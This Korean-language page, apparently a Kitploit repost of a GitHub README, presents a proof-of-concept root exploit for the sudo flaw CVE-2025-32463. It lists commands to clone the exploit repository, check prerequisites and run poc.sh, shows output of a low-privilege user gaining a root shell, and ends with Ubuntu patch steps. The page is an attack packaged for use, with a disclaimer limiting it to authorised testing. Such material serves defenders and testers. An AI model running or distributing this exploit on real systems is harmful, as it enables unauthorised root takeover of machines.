CVE-2025-32463 — # CVE-2025-32463 – 사전 컴파일된 .so를 포함한 Sudo 권한 상승 익스플로잇(PoC) | Kitploit

CVE-2025-32463 – 사전 컴파일된 라이브러리가 포함된 Sudo EoP 익스플로잇(PoC)

이 저장소에는 Rich Mirch가 발견한 sudo의 로컬 권한 상승 취약점인 CVE-2025-32463에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.

크레딧

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ 면책 조항

이 PoC는 교육 및 허가된 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 평가 허가를 받지 않은 시스템에서는 이 코드를 사용하지 마십시오.

🔧 요구 사항

🚀 PoC 실행 방법

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

현재 사용자에게 낮은 권한이 있는지 확인

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

요구 사항 확인

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

익스플로잇 실행

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Ubuntu 24.04 LTS 해결 방법

인터넷에 연결된 시스템의 경우 다음을 실행하세요.
```
sudo apt update && sudo apt upgrade
```
네트워크가 분리된(에어 갭) 시스템의 경우: 최신 sudo 패키지를 다음에서 받을 수 있습니다: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. 패키지를 대상 시스템으로 전송한 후 다음을 실행하세요:
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```

도구 다운로드